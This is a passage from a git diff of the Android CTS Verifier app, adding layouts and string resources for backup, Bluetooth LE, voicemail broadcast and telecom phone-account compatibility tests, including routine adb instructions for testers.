+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_2_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_2_status"
+            android:text="@string/telecom_enable_phone_account_confirm_button"/>
+    </RelativeLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/voicemail_broadcast.xml b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
new file mode 100644
index 0000000..5ce102a
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/voicemail_broadcast.xml
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+  android:orientation="vertical"
+  android:layout_width="match_parent"
+  android:layout_height="match_parent">
+  <TextView
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:text="@string/voicemail_broadcast_instructions"/>
+  <LinearLayout
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:layout_marginTop="@dimen/js_padding"
+    android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+      android:id="@+id/set_default_dialer_image"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:src="@drawable/fs_indeterminate"
+      android:layout_marginRight="@dimen/js_padding"/>
+    <TextView
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_set_default_dialer_description"
+      android:textSize="16dp"/>
+  </LinearLayout>
+
+  <Button
+    android:id="@+id/set_default_dialer"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:text="@string/voicemail_set_default_dialer_button"/>
+
+  <LinearLayout
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:layout_marginTop="@dimen/js_padding"
+    android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+      android:id="@+id/leave_voicemail_image"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:src="@drawable/fs_indeterminate"
+      android:layout_marginRight="@dimen/js_padding"/>
+    <TextView
+      android:id="@+id/leave_voicemail_text"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_leave_voicemail"
+      android:textSize="16dp"/>
+  </LinearLayout>
+
+  <LinearLayout
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:layout_marginTop="@dimen/js_padding"
+    android:layout_marginBottom="@dimen/js_padding">
+    <ImageView
+      android:id="@+id/restore_default_dialer_image"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:src="@drawable/fs_indeterminate"
+      android:layout_marginRight="@dimen/js_padding"/>
+    <TextView
+      android:id="@+id/restore_default_dialer_text"
+      android:layout_width="wrap_content"
+      android:layout_height="wrap_content"
+      android:text="@string/voicemail_restore_default_dialer_description"
+      android:textSize="16dp"/>
+  </LinearLayout>
+
+  <Button
+    android:id="@+id/restore_default_dialer"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:text="@string/voicemail_restore_default_dialer_button"/>
+
+  <include layout="@layout/pass_fail_buttons" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values-watch/strings.xml b/apps/CtsVerifier/res/values-watch/strings.xml
index d2106ee..6f1470c 100644
--- a/apps/CtsVerifier/res/values-watch/strings.xml
+++ b/apps/CtsVerifier/res/values-watch/strings.xml
@@ -20,15 +20,8 @@
         <item>com.android.cts.verifier.notifications.NotificationListenerVerifierActivity</item>
     </string-array>
 
-    <string name="device_owner_device_admin_visible_info">
-        Please press the Go button to open Settings, navigate to:\n
-          1. Personalization\n
-          2. Device administration\n
-        Confirm that:\n
-        \n
-        - \"CTS Verifier\" exists and is activated.\n
-        - \"CTS Verifier\" cannot be disabled.\n
-        \n
-        Swipe left to return to this page.
+    <string name="snsr_device_suspend_test_instr">Once you begin the test, disconnect USB, then
+      perform a palm press to turn off display and put device into suspend mode. The screen will
+      turn on and device will vibrate once all the tests are completed.
     </string>
-</resources>
\ No newline at end of file
+</resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index c99b683..07fac7a 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -38,6 +38,8 @@
     <string name="test_category_features">Features</string>
     <string name="test_category_deskclock">Clock</string>
     <string name="test_category_jobscheduler">Job Scheduler</string>
+    <string name="test_category_telecom">Telecom</string>
+    <string name="test_category_telephony">Telephony</string>
     <string name="test_category_tv">TV</string>
     <string name="test_category_other">Other</string>
     <string name="clear">Clear</string>
@@ -64,6 +66,71 @@
     <string name="bu_generate_error">Error occurred while generating test data...</string>
     <string name="bu_settings">Settings</string>
 
+    <!-- Strings for BackupTestActivity -->
+    <string name="backup_test">Data Backup Test</string>
+    <string name="backup_info">This test checks that data backup and automatic restore works
+        properly. The test activity lists some preferences and files that are backed up and
+        restored by the CTS Verifier. If backup and restore is working properly, these values
+        should be restored after running the backup manager, uninstalling the app, and reinstalling
+        the CTS Verifier.
+        \n\nPress the \"Generate Test Data\" to populate these values
+        and then follow the on screen instructions to finish the test.
+    </string>
+    <string name="bu_generate">Generate Test Data</string>
+    <string name="bu_preferences">Preferences</string>
+    <string name="bu_files">Files</string>
+    <string name="bu_instructions">Random values for the preferences and files have been saved.
+        \n\nFollow the instructions below to check that the data backup and restore works:
+        \n\n1. Make sure backup and automatic restore are enabled in settings. Depending on the
+        backup transport supported by the device you may need to do additional steps. For instance
+        you may need to set a Google account as the backup account for the device. If you cannot
+        find the corresponding setting options on your device, run \"adb shell bmgr enable true\"
+        to enable the backup manager. You can check its status by executing \"adb shell bmgr
+        enabled\".
+        \n\n2. Run the backup manager: adb shell bmgr run
+        \n\n3. Uninstall the program: adb uninstall com.android.cts.verifier
+        \n\n4. Reinstall the CTS Verifier and verify that the values are still the same.
+    </string>
+
+    <!-- Strings for BackupAccessibilityTestActivity -->
+    <string name="backup_accessibility_test">Backup Accessibility Settings Test</string>
+    <string name="backup_accessibility_info">This test checks that data backup and automatic restore
+        of Accessibility-related settings works properly. If backup and restore is working properly,
+        these values should be restored after running the backup manager, removing your Google
+        account, changing the accessibility settings values, and re-adding your Google account.
+        \n\nPress \"Generate Test Data\" to generate test values for accessibility settings and then
+        follow the on screen instructions to finish the test.
+    </string>
+    <string name="bua_settings">General Accessibility Settings</string>
+    <string name="bua_settings_color_correction">Color Correction Settings</string>
+    <string name="bua_settings_accessibility_services">Accessibility Service Settings</string>
+    <string name="bua_settings_captions">Captions Settings</string>
+    <string name="bua_settings_tts">TTS Settings</string>
+    <string name="bua_settings_system">Other System Settings</string>
+    <string name="bua_instructions">You will need two devices for this test.
+        \n\nFollow the instructions below to check that the data backup and restore of
+        accessibility-related settings works properly:
+        \n\n1. Make sure backup and automatic restore are enabled in settings. If you cannot find
+        the corresponding setting options on your device, run \"adb shell bmgr enable true\" to
+        enable the backup manager. You can check its status by executing \"adb shell bmgr enabled\".
+        You will also need to set a Google account as the backup account for the device.
+        \n\n2. Press \"Read Current Values\" and note the default values for the listed settings.
+        Values that are either \"0\" or \"null\" will appear in green. Note: Some default values are
+        neither \"0\", nor \"null\", so you still need to pay attention to the default setting
+        values that are not highlighted.
+        \n\n3. Change the values of the listed settings to something other than their default value.
+        \n\n4. Return to the CtsVerifier and press \"Read Current Values\". Make sure that you have
+        changed all of the settings.
+        \n\n5. Run the backup manager: adb shell bmgr run
+        \n\n6. Factory reset data on the second device. While going through the Setup Wizard,
+        restore all data from the account on your first device. When prompted, choose to restore all
+        settings from your first device.
+        \n\n7. Install CtsVerifier on your new device and make sure that the values read on the
+        second device match the values on your first device.
+    </string>
+    <string name="bua_show_instructions">Show Instructions</string>
+    <string name="bua_read_settings">Read Current Values</string>
+
     <!-- Strings for Device Administration tests -->
     <string name="da_policy_serialization_test">Policy Serialization Test</string>
     <string name="da_policy_serialization_info">This test checks that a device policy is properly
@@ -133,15 +200,26 @@
 
     <!-- Strings for BluetoothActivity -->
     <string name="bluetooth_test">Bluetooth Test</string>
-    <string name="bluetooth_test_info">The Bluetooth Control tests check whether or not the device
-        can disable and enable Bluetooth properly.\n\nThe Device Communication tests require two
+    <string name="bluetooth_test_info">
+        The Bluetooth Control tests check whether or not the device
+        can disable and enable Bluetooth properly.
+        \n\nThe Bluetooth tests require two devices, and Bluetooth data is exchanged between them.
+        \nThere are two types of connections: Insecure and Secure. There are two types of roles: Server and Client. You must pass all connection and role combinations.
+        \nThis is a list of the tests:
+        \nThis Device x Other Device
+        \n\n\"Bluetooth LE Insecure Client Test\" x \"Bluetooth LE Insecure Server Test\"
+        \n\n\"Bluetooth LE Insecure Server Test\" x \"Bluetooth LE Insecure Client Test\"
+        \n\n\"Bluetooth LE Secure Client Test\" x \"Bluetooth LE Secure Server Test\"
+        \n\n\"Bluetooth LE Secure Server Test\" x \"Bluetooth LE Secure Client Test\"
+        \n\nThe Device Communication tests require two
         devices to pair and exchange messages. The two devices must be:
         \n\n1. a candidate device implementation running the software build to be tested
-        \n\n2. a separate device implementation already known to be compatible</string>
+        \n\n2. a separate device implementation already known to be compatible
+    </string>
 
     <string name="bt_control">Bluetooth Control</string>
     <string name="bt_device_communication">Device Communication</string>
-    <string name="bt_le">Bluetooth Low Energy</string>
+    <string name="bt_le">Bluetooth LE</string>
 
     <string name="bt_toggle_bluetooth">Toggle Bluetooth</string>
     <string name="bt_toggle_instructions">Disable and enable Bluetooth to successfully complete this test.</string>
@@ -189,6 +267,12 @@
     <string name="bt_pick_server">Pick Server</string>
     <string name="bt_insecure_pairing_error_title">Pairing dialog shown?</string>
     <string name="bt_insecure_pairing_error_message">Insecure connections should not show the pairing dialog!</string>
+    <string name="bt_advertise_unsupported_title">Advertising is not supported</string>
+    <string name="bt_advertise_unsupported_message">Advertising is not supported on this device.\nTest finishes.</string>
+    <string name="bt_open_failed_title">BLE open failed</string>
+    <string name="bt_open_failed_message">Cannot open BLE GattService.\nTest finishes.</string>
+    <string name="bt_add_service_failed_title">Add service failed</string>
+    <string name="bt_add_service_failed_message">Failed to add services.\nTest finishes.</string>
 
     <string name="bt_secure_client">Secure Client</string>
     <string name="bt_insecure_client">Insecure Client</string>
@@ -204,18 +288,22 @@
 
     <!-- BLE client side strings -->
     <string name="ble_client_service_name">Bluetooth LE GATT Client Handler Service</string>
-    <string name="ble_client_test_name">BLE Client Test</string>
-    <string name="ble_client_connect_name">BLE Client Connect</string>
-    <string name="ble_discover_service_name">BLE Discover Service</string>
-    <string name="ble_read_characteristic_name">BLE Read Characteristic</string>
-    <string name="ble_write_characteristic_name">BLE Write Characteristic</string>
-    <string name="ble_reliable_write_name">BLE Reliable Write</string>
-    <string name="ble_notify_characteristic_name">BLE Notify Characteristic</string>
-    <string name="ble_read_descriptor_name">BLE Read Descriptor</string>
-    <string name="ble_write_descriptor_name">BLE Write Descriptor</string>
-    <string name="ble_read_rssi_name">BLE Read RSSI</string>
-    <string name="ble_client_disconnect_name">BLE Client Disconnect</string>
-    <string name="ble_client_test_info">The BLE test must be done simultaneously on two devices. This device is the client. All tests listed here must be done in order.</string>
+    <string name="ble_client_test_name">01 Bluetooth LE Client Test</string>
+    <string name="ble_client_connect_name">Bluetooth LE Client Connect</string>
+    <string name="ble_discover_service_name">Bluetooth LE Discover Service</string>
+    <string name="ble_read_characteristic_name">Bluetooth LE Read Characteristic</string>
+    <string name="ble_write_characteristic_name">Bluetooth LE Write Characteristic</string>
+    <string name="ble_reliable_write_name">Bluetooth LE Reliable Write</string>
+    <string name="ble_reliable_write_bad_resp_name">Bluetooth LE Reliable Write (receive bad response)</string>
+    <string name="ble_notify_characteristic_name">Bluetooth LE Notify Characteristic</string>
+    <string name="ble_read_descriptor_name">Bluetooth LE Read Descriptor</string>
+    <string name="ble_write_descriptor_name">Bluetooth LE Write Descriptor</string>
+    <string name="ble_read_rssi_name">Bluetooth LE Read RSSI</string>
+    <string name="ble_client_disconnect_name">Bluetooth LE Client Disconnect</string>
+    <string name="ble_client_test_info">
+        The Bluetooth LE test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done with out pairing.
+    </string>
     <string name="ble_client_send_connect_info">Type in the Bluetooth address of the remote device to connect to, and verify that the devices are connected.</string>
     <string name="ble_discover_service_info">Verify that the service is discovered when you press the "Discover Service" button.</string>
     <string name="ble_read_write_info">Write values to and read values from the server to verify that the write and read functionalities are working correctly.</string>
@@ -238,32 +326,82 @@
     <string name="ble_read_rssi">Read RSSI</string>
     <string name="ble_disconnect">Disconnect</string>
     <string name="ble_test_text">TEST</string>
+    <string name="ble_test_finished">Test finished</string>
+    <string name="ble_test_next">Next</string>
+    <string name="ble_test_running">Test Running</string>
+    <string name="ble_test_running_message">This test requires a few minutes. Don\'t interrupt the test.</string>
+    <string name="ble_mtu_23_name">Bluetooth LE Request MTU(23bytes)</string>
+    <string name="ble_mtu_512_name">Bluetooth LE Request MTU(512bytes)</string>
 
     <!-- BLE server side strings -->
     <string name="ble_server_service_name">Bluetooth LE GATT Server Handler Service</string>
-    <string name="ble_server_start_name">BLE Server Test</string>
-    <string name="ble_server_start_info">The BLE test must be done simultaneously on two devices, a server device and a client device. This device is the server.</string>
-    <string name="ble_server_receiving_connect">Waiting on connection from BLE client.</string>
-    <string name="ble_server_add_service">Adding service to BLE server.</string>
+    <string name="ble_server_start_name">01 Bluetooth LE Server Test</string>
+    <string name="ble_server_start_info">
+        The Bluetooth LE test must be done simultaneously on two devices, a server device and a client device. This device is the server.
+    </string>
+    <string name="ble_server_receiving_connect">Waiting on connection from Bluetooth LE client.</string>
+    <string name="ble_server_add_service">Adding service to Bluetooth LE server.</string>
     <string name="ble_server_write_characteristic">Waiting on write characteristic request</string>
     <string name="ble_server_read_characteristic">Waiting on read characteristic request</string>
     <string name="ble_server_write_descriptor">Waiting on write descriptor request</string>
     <string name="ble_server_read_descriptor">Waiting on read descriptor request</string>
     <string name="ble_server_reliable_write">Waiting on reliable write from client</string>
-    <string name="ble_server_receiving_disconnect">Waiting on disconnection from BLE client</string>
+    <string name="ble_server_reliable_write_bad_resp">Waiting on reliable write from client (send bad response)</string>
+    <string name="ble_server_receiving_disconnect">Waiting on disconnection from Bluetooth LE client</string>
+    <string name="ble_connection_priority_server_name">02 Bluetooth LE Connection Priority Server Test</string>
+    <string name="ble_connection_priority_server_info">Bluetooth LE Connection Priority Server receive message from message in 3 different priority.</string>
+    <string name="ble_server_notify_characteristic">Waiting on notify characteristic request</string>
+    <string name="ble_server_write_characteristic_without_permission">Waiting on write characteristic request without permission</string>
+    <string name="ble_server_read_characteristic_without_permission">Waiting on read characteristic request without permission</string>
+    <string name="ble_server_write_descriptor_without_permission">Waiting on write descriptor request without permission</string>
+    <string name="ble_server_read_descriptor_without_permission"> Waiting on read descriptor request without permission</string>
+    <string name="ble_server_write_characteristic_need_encrypted">Waiting on write encrypted characteristic request</string>
+    <string name="ble_server_read_characteristic_need_encrypted">Waiting on read encryptedcharacteristic request</string>
+    <string name="ble_server_write_descriptor_need_encrypted">Waiting on write encrypted descriptor request</string>
+    <string name="ble_server_read_descriptor_need_encrypted"> Waiting on read encrypted descriptor request</string>
+    <string name="ble_server_indicate_characteristic">Waiting on indicate characteristic request</string>
+    <string name="ble_server_mtu_23bytes">Waiting on MTU request(23 bytes)</string>
+    <string name="ble_server_mtu_512bytes">Waiting on MTU request(512 bytes)</string>
+    <string name="ble_encrypted_server_name">03 Bluetooth LE Encrypted Server Test</string>
+    <string name="ble_encrypted_server_info">Bluetooth LE Encrypted Server Waiting on read/write characteristic and descriptor request need encrypted.</string>
+    <string name="ble_insecure_server_enctypted_info">Bluetooth LE Server is in operation.\nThis test does not change server state.\n\nIf Bluetooth pairing request was notified by system, you must cancel it.\n\nOnce the client tests are all successful, please change the state of the server-side to the "success".</string>
+    <string name="ble_insecure_server_test_list_name">Bluetooth LE Insecure Server Test</string>
+    <string name="ble_insecure_server_test_list_info">
+        This test is mostly automated, but requires some user interaction.
+        Once the list items below have check marks, the test is complete.
+        \n\nTap \"01 Bluetooth LE Server Test\" on this device, then tap \"01 Bluetooth LE Client Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+    <string name="ble_secure_server_test_list_name">Bluetooth LE Secure Server Test</string>
+    <string name="ble_secure_server_test_list_info">
+        This test is mostly automated, but requires some user interaction.
+        You can pass this test once the list items below are checked.
+        \n\nTap \"01 Bluetooth LE Server Test\" on this device, then tap \"01 Bluetooth LE Client Test \"on other device.
+        \nTest completed, then test next item. You must be done all tests.
+    </string>
 
     <!-- BLE advertiser side strings -->
-    <string name="ble_advertiser_test_name">BLE Advertiser Test</string>
-    <string name="ble_advertiser_test_info">The BLE test must be done simultaneously on two devices, an advertiser and a scanner. This device is the advertiser.</string>
+    <string name="ble_advertiser_test_name">Bluetooth LE Advertiser Test</string>
+    <string name="ble_advertiser_test_info">
+        The Bluetooth LE Advertiser Test and Scanner Test is a paired test.
+        \nTap \"Bluetooth LE Advertiser Test\" on this device. Once it is passed, tap \"Bluetooth LE Scanner Test\".
+        \nTap \"Bluetooth LE Scanner Test\" on this device. Once it is passed, tap \"Bluetooth LE Advertiser Test\".
+    </string>
     <string name="ble_advertiser_service_name">Bluetooth LE Advertiser Handler Service</string>
-    <string name="ble_privacy_mac_name">BLE Privacy Mac</string>
-    <string name="ble_privacy_mac_info">BLE Advertiser should advertise in non-repeating MAC address.</string>
-    <string name="ble_advertiser_privacy_mac_instruction">Click start to start advertising, you can disconnect USB and lock the screen of advertiser. Counts and mac address will show on scanner. You may receive message that this device does not support BLE advertising.</string>
-    <string name="ble_power_level_name">BLE Tx Power Level</string>
-    <string name="ble_power_level_info">BLE Advertiser advertises in 4 different power levels. Scanner should receive them in different strength of Rssi, cannot receive weak signals beyond several feet.</string>
-    <string name="ble_advertiser_power_level_instruction">Click start to start multi-advertising. Data packets are advertised in 4 different power levels. You may receive message that this device does not support multi advertising. If advertiser does not advertise in 4 power levels, neither you receive the error message, you may not stop the advertising in previous test, or this device does not support 4 advertisers at the same time. Try rebooting the device and run the test to free those advertisers in use.</string>
-    <string name="ble_advertiser_scan_filter_name">BLE Hardware Scan Filter</string>
-    <string name="ble_advertiser_scan_filter_info">BLE Advertiser advertises with 2 different data separately. One can wake up the scanner, the other cannot. This test cares about behavior on scanner only.</string>
+    <string name="ble_privacy_mac_name">Bluetooth LE Privacy Mac</string>
+    <string name="ble_privacy_mac_info">Bluetooth LE Advertiser should advertise in non-repeating MAC address.</string>
+    <string name="ble_advertiser_privacy_mac_instruction">Click start to start advertising, you can disconnect USB and lock the screen of advertiser. Counts and mac address will show on scanner. You may receive message that this device does not support Bluetooth LE advertising.</string>
+    <string name="ble_power_level_name">Bluetooth LE Tx Power Level</string>
+    <string name="ble_power_level_info">Bluetooth LE Advertiser advertises in 4 different power levels. Scanner should receive them in different strength of Rssi, cannot receive weak signals beyond several feet.</string>
+    <string name="ble_advertiser_power_level_instruction">
+        Click start to start multi-advertising. Data packets are advertised in 4 different power levels.
+        You may receive a message that this device does not support multi-advertising.
+        If the advertiser does not advertise in 4 power levels, and you do not receive an error message,
+        you may not have stopped advertising in the previous test, or this device may not support 4 advertisers at the same time.
+        Try rebooting the device and running the test again to free those advertisers in use.
+    </string>
+    <string name="ble_advertiser_scan_filter_name">Bluetooth LE Hardware Scan Filter</string>
+    <string name="ble_advertiser_scan_filter_info">Bluetooth LE Advertiser advertises with 2 different data separately. One can wake up the scanner, the other cannot. This test cares about behavior on scanner only.</string>
     <string name="ble_advertiser_scannable">Scannable advertising</string>
     <string name="ble_advertiser_scannable_instruction">Start scannable advertising, expect scanner consume more power on Monsoon monitor, or see log of GattService from scanner logcat.</string>
     <string name="ble_advertiser_unscannable">Unscannble advertising</string>
@@ -272,9 +410,9 @@
     <string name="ble_advertiser_stop">Stop</string>
 
     <!-- BLE scanner side strings -->
-    <string name="ble_scanner_test_name">BLE Scanner Test</string>
+    <string name="ble_scanner_test_name">Bluetooth LE Scanner Test</string>
     <string name="ble_scanner_service_name">Bluetooth LE Scanner Handler Service</string>
-    <string name="ble_scanner_test_info">The BLE test must be done simultaneously on two devices, an advertiser and a scanner. This device is the scanner.</string>
+    <string name="ble_scanner_test_info">The Bluetooth LE test must be done simultaneously on two devices, an advertiser and a scanner. This device is the scanner.</string>
     <string name="ble_scanner_privacy_mac">Hold for 15 min to see if receive a different MAC address from advertiser.</string>
     <string name="ble_scanner_privacy_mac_instruction">Mac address, counts are shown on screen. It should continuously receive data packet from advertiser. Every 15 min, a new mac address should show up, which prevents mac address disclosure.</string>
     <string name="ble_ultra_low">Ultra low</string>
@@ -290,6 +428,80 @@
     <string name="ble_scan_start">Start scan</string>
     <string name="ble_scan_stop">Stop scan</string>
 
+    <!-- BLE connection priority test strings -->
+    <string name="ble_client_connection_priority">Testing priority: </string>
+    <string name="ble_connection_priority_balanced">BALANCED</string>
+    <string name="ble_connection_priority_high">HIGH</string>
+    <string name="ble_connection_priority_low">LOW</string>
+    <string name="ble_server_connection_priority_result_passed">All test passed</string>
+    <string name="ble_server_connection_priority_result_failed">Test failed.</string>
+    <string name="ble_server_connection_priority_result_intervals">
+        Transfer interval time (msec):\nHIGH=%1$d\nBALANCED=%2$d\nLOW=%3$d\n\nRequirements:\n HIGH &lt;= BALANCED &lt;= LOW
+    </string>
+
+    <!-- BLE Test Name -->
+    <string name="ble_secure_client_test_name">Bluetooth LE Secure Client Test</string>
+    <string name="ble_insecure_client_test_name">Bluetooth LE Insecure Client Test</string>
+    <string name="ble_secure_server_test_name">Bluetooth LE Secure Server Test</string>
+    <string name="ble_insecure_server_test_name">Bluetooth LE Insecure Server Test</string>
+
+    <string name="ble_read_characteristic_nopermission_name">Bluetooth LE Read Characteristic Without Perrmission</string>
+    <string name="ble_write_characteristic_nopermission_name">Bluetooth LE Write Characteristic Without Permission</string>
+    <string name="ble_read_descriptor_nopermission_name">Bluetooth LE Read Descriptor Without Perrmission</string>
+    <string name="ble_write_descriptor_nopermission_name">Bluetooth LE Write Descriptor Without Permission</string>
+    <string name="ble_connection_priority_client_name">02 Bluetooth LE Connection Priority Client Test</string>
+    <string name="ble_connection_priority_client_info">Bluetooth LE Connection Priority Client send message in 3 different priority.</string>
+    <string name="ble_read_authenticated_characteristic_name">Bluetooth LE Read Encrypted Characteristic</string>
+    <string name="ble_write_authenticated_characteristic_name">Bluetooth LE Write Encrypted Characteristic</string>
+    <string name="ble_read_authenticated_descriptor_name">Bluetooth LE Read Encrypted Descriptor</string>
+    <string name="ble_write_authenticated_descriptor_name">Bluetooth LE Write Encrypted Descriptor</string>
+    <string name="ble_connection_priority_client_high">Bluetooth LE Send With CONNECTION_PRIORITY_HIGH</string>
+    <string name="ble_connection_priority_client_low">Bluetooth LE Send With CONNECTION_PRIORITY_LOW_POWER</string>
+    <string name="ble_connection_priority_client_balanced">Bluetooth LE Send With CONNECTION_PRIORITY_BALANCED</string>
+    <string name="ble_indicate_characteristic_name">Bluetooth LE Indicate Characteristic</string>
+    <string name="ble_encrypted_client_name">03 Bluetooth LE Encrypted Client Test</string>
+    <string name="ble_encrypted_client_info">Bluetooth LE Encrypted Client read/write on characteristic and descriptor need encrypted.</string>
+    <string name="ble_insecure_client_test_list_name">Bluetooth LE Insecure Client Test</string>
+    <string name="ble_insecure_client_test_list_info">
+        The Bluetooth LE test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done without pairing. Tap \"Bluetooth LE Insecure Server Test\" on the other device.
+        \n\nTap \"01 Bluetooth LE Client Test\" on this device, then tap \"01 Bluetooth LE Server Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+    <string name="ble_secure_client_test_list_name">Bluetooth LE Secure Client Test</string>
+    <string name="ble_secure_client_test_list_info">
+        The Bluetooth LE test must be done simultaneously on two devices.
+        This device is the client. All tests listed here must be done with pairing.
+        \n\nTap \"01 Bluetooth LE Client Test\" on this device, then tap \"01 Bluetooth LE Server Test\" on the other device.
+        \nWhen the test is complete, move to the next item. You must complete all tests.
+    </string>
+    <string name="ble_encrypted_client_no_encrypted_characteristic">Error!\nThe Characteristics unencrypted.</string>
+    <string name="ble_encrypted_client_no_encrypted_descriptor">Error!\nThe Descriptor unencrypted.</string>
+    <string name="ble_encrypted_client_fail_write_encrypted_characteristic">It failed to write to Characteristic.</string>
+    <string name="ble_encrypted_client_fail_write_encrypted_descriptor">It failed to write to Descriptor.</string>
+    <string name="ble_encrypted_client_fail_read_encrypted_characteristic">It failed to read the Characteristic.</string>
+    <string name="ble_encrypted_client_fail_read_encrypted_descriptor">It failed to read the Descriptor.</string>
+    <string name="ble_secure_client_test_info">
+        The Bluetooth LE test must be done simultaneously on two devices. This device is the client.
+        All tests listed here must be done with pairing.
+    </string>
+
+    <string name="ble_bluetooth_disable_title">Bluetooth Disable!</string>
+    <string name="ble_bluetooth_disable_message">Please set bluetooth enable.</string>
+
+    <string name="ble_bluetooth_mismatch_title">Bluetooth pairing state is a mismatch!</string>
+    <string name="ble_bluetooth_mismatch_secure_message">
+        And even though it has already been trying to run a test of Secure, the device has not been paired.
+        \nGo setting mode, set Bluetooth to pair other device.
+    </string>
+    <string name="ble_bluetooth_mismatch_insecure_message">
+        And even though it has already been trying to run a test of Insecure, the device has already been paired.
+        \nGo setting mode, set Bluetooth to unpair other device.
+    </string>
+
+    <string name="ble_mtu_mismatch_message">MTU is not correct.(Request:%1$d, Actual:%2$d)</string>
+    <string name="ble_mtu_fail_message">MTU test: failed to receive data</string>
+
     <!-- Strings for FeatureSummaryActivity -->
     <string name="feature_summary">Hardware/Software Feature Summary</string>
     <string name="feature_summary_info">This is a test for...</string>
@@ -1994,23 +2206,18 @@
     </string>
 
     <string name="provisioning_byod_organization_info">Organization Info</string>
-    <string name="provisioning_byod_settings_button_text">Settings</string>
     <string name="provisioning_byod_organization_name_hint">Name</string>
     <string name="provisioning_byod_organization_color_hint">#FF00FF</string>
     <string name="provisioning_byod_set_organization_info_button_text">Set</string>
     <string name="provisioning_byod_organization_info_instructions">
-    This test verifies that the Organization Info was set correctly.\n
-        1. Press the Settings button.\n
-        2. Select separate lock for work profile (e.g. pattern).
-        To do that you may need to disable using one lock in security settings.\n
-        3. Return to CTS verifier using recents.\n
-        4. Enter your organization name.\n
-        5. Enter a valid color code.\n
-        6. Press the Set button to set organization Info.\n
-        7. Dissmiss the lockscreen by entering previously selected lock and return to CTS Verifier using recents.\n
-        8. Press the Go button to open a dialog to confirm work credentials.\n
-        9. Verify that the background color of the resulting dialog is as set by you.\n
-        10. Verify that the header text has organization name as set by you.\n
+    This test verifies that the Organization Info was set correctly.
+    You can only do this test after you have done "select work lock" test.\n
+        1. Enter your organization name.\n
+        2. Enter a valid color code.\n
+        3. Press the Set button to set organization Info.\n
+        4. Press the Go button to open a dialog to confirm work credentials.\n
+        5. Verify that the background color of the resulting dialog is as set by you.\n
+        6. Verify that the header text has organization name as set by you.\n
     </string>
     <string name="provisioning_byod_parent_profile_password">Personal password test</string>
     <string name="provisioning_byod_parent_profile_password_description">
@@ -2864,4 +3071,32 @@
 
     <string name="unprocessed_test_global_result">Global Results...</string>
 
+    <!-- Strings for voicemail broadcast test -->
+    <string name="voicemail_broadcast_test">Voicemail Broadcast Test</string>
+    <string name="voicemail_broadcast_instructions">This test verifies that the default dialer can intercept the voicemail notification. The test must be conducted on a SIM with visual voicemail disabled</string>
+    <string name="voicemail_set_default_dialer_description">Before the test, the CTS verifier should be set to the default dialer</string>
+    <string name="voicemail_set_default_dialer_button">Set CTS verifier as default dialer"</string>
+    <string name="voicemail_leave_voicemail">Send a voicemail to the device, CTS verifier should receive a voicemail notification broadcast</string>
+    <string name="voicemail_broadcast_received">Voicemail broadcast Received</string>
+    <string name="voicemail_restore_default_dialer_description">(Optional) restore the default dialer setting</string>
+    <string name="voicemail_restore_default_dialer_no_default_description">(Optional) restore the default dialer by going to settings-> apps -> cogwheel -> Phone app</string>
+    <string name="voicemail_restore_default_dialer_button">Restore the default dialer"</string>
+    <string name="voicemail_default_dialer_already_set">Default dialer already set</string>
+    <string name="voicemail_default_dialer_already_restored">Default dialer already restored</string>
+
+    <!-- Telecom tests -->
+    <string name="telecom_enable_phone_account_test"> Telecom Enable Phone Account Test</string>
+    <string name="telecom_enable_phone_account_info">
+        This test verifies that a third party ConnectionService can be enabled by the user.
+    </string>
+    <string name="telecom_enable_phone_account_step_1">
+        Click the button below to register a test PhoneAccount and ConnectionService.
+    </string>
+    <string name="telecom_enable_phone_account_register_button">Register Phone Account</string>
+    <string name="telecom_enable_phone_account_step_2">
+        In the Calling accounts settings, choose "All calling accounts" and enable the "CTS Verifier Test" account.
+        On AOSP this is accessible from: Phone app > Settings > Calls > Calling Accounts.
+        Once you have completed this step, return here and click the Confirm button.
+    </string>
+    <string name="telecom_enable_phone_account_confirm_button">Confirm</string>
 </resources>
diff --git a/apps/CtsVerifier/res/values/styles.xml b/apps/CtsVerifier/res/values/styles.xml
index a2e8c5e..0e05817 100644
--- a/apps/CtsVerifier/res/values/styles.xml
+++ b/apps/CtsVerifier/res/values/styles.xml
@@ -10,5 +10,7 @@
